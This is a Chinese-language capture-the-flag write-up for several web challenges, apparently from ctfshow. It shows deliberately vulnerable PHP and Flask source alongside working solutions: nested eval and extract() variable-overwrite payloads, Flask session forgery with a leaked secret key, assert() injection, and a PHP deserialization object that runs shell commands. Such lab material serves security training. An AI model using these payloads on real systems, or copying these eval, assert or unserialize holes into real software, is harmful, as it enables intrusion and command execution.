签到
题目源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
eval好多嵌套
[$_COOKIE['CTFshow-QQ群:']=b
eval($_REQUEST[$_GET[$_POST[b]]][6][0][7][5][8][0][9][4][4]);
b=c
eval($_REQUEST[$_GET[c]][6][0][7][5][8][0][9][4][4]);
c=a
eval($_REQUEST[a][6][0][7][5][8][0][9][4][4]);
这个时候再给数组值,就可以eval执行了
尝试如下
web2 c0me_t0_s1gn
直接搜索ctf就行
提示控制台
并且给出了前半部分flag
ctfshow{We1c0me_
t0_jo1n_u3_!}拿到后半部分
ctfshow{We1c0me_t0_jo1n_u3_!}
我的眼里只有$
题目源码<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
查看extarct函数的用法
变量覆盖
写个脚本
s=""
t="_=a1&"
for i in range(34):
i=i+1
x = "a"
s=s+x+str(i)+'='+x+str(i+1)+'&'
s=t+s+s[-4:-1]+"="
#等号后面写执行代码
print(s)
抽老婆
点开抽在源码里发现了线索
flask
下载下来了源码
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/11/07 09:16
# Author :g4_simon
# version :python 3.9.7
# Description:抽老婆,哇偶~
"""
from flask import *
import os
import random
from flag import flag
#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/getwifi', methods=['GET'])
def getwifi():
session['isadmin']=False
wifi=random.choice(os.listdir('static/img'))
session['current_wifi']=wifi
return render_template('getwifi.html',wifi=wifi)
@app.route('/download', methods=['GET'])
def source():
filename=request.args.get('file')
if 'flag' in filename:
return jsonify({"msg":"你想干什么?"})
else:
return send_file('static/img/'+filename,as_attachment=True)
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=True)
关键代码
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():
if session['isadmin']:
return jsonify({"msg":flag})
else:
return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
访问这个secret_path_U_never_know
没有权限
解密一下session
python3 flask_session_cookie_manager3.py decode -c eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjpmYWxzZX0.Y3SRYg.TGWZpdsROvIU-Ayzfw49qVQj9s4 -s tanji_is_A_boy_Yooooooooooooooooooooo!
{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': False}
python3 flask_session_cookie_manager3.py encode -t "{'current_wifi': '9bb51c90160c023e539bafc0c6ff88b2.jpg', 'isadmin': True}" -s tanji_is_A_boy_Yooooooooooooooooooooo! 2 ⨯
eyJjdXJyZW50X3dpZmkiOiI5YmI1MWM5MDE2MGMwMjNlNTM5YmFmYzBjNmZmODhiMi5qcGciLCJpc2FkbWluIjp0cnVlfQ.Y7q_Eg.Wj8B8QXEFwTIyKK7Mw5obNvtjOw
在这里修改值访问secret_path_U_never_know
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
关键函数intval
intval — 获取变量的整数值
int intval( var,base)
//var指要转换成 integer 的数量值,base指转化所使用的进制
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
◦ 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)。
但是该题前面有判断所以不能用进制转换绕过
但危险函数assert直接
闭合intval函数和assert然后注释后面的
?num=114514);//
驷马难追
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
过滤了一些
114514%2b1805296 %2b是加号
?num=114514%2b1805296直接这样穿过去就行
TAPTAPTAP
ciphey
/secret_path_you_do_not_know/secretfile.txt
访问得flag
Webshell
<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
<?php
error_reporting(0);
class Webshell {
public $cmd = "ls";
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
$a=new Webshell();
echo urlencode((serialize($a)));
然后
tac fla*
得到flag
化整为零
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
发现要字符串拼接出来两个汉字等于大牛
才echo flag
然后限制还不能超过字符串长度1,而一个汉子的URL编码字符串长度是3
%E5%A4%A7%E7%89%9B=大牛
于是我们可以
1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B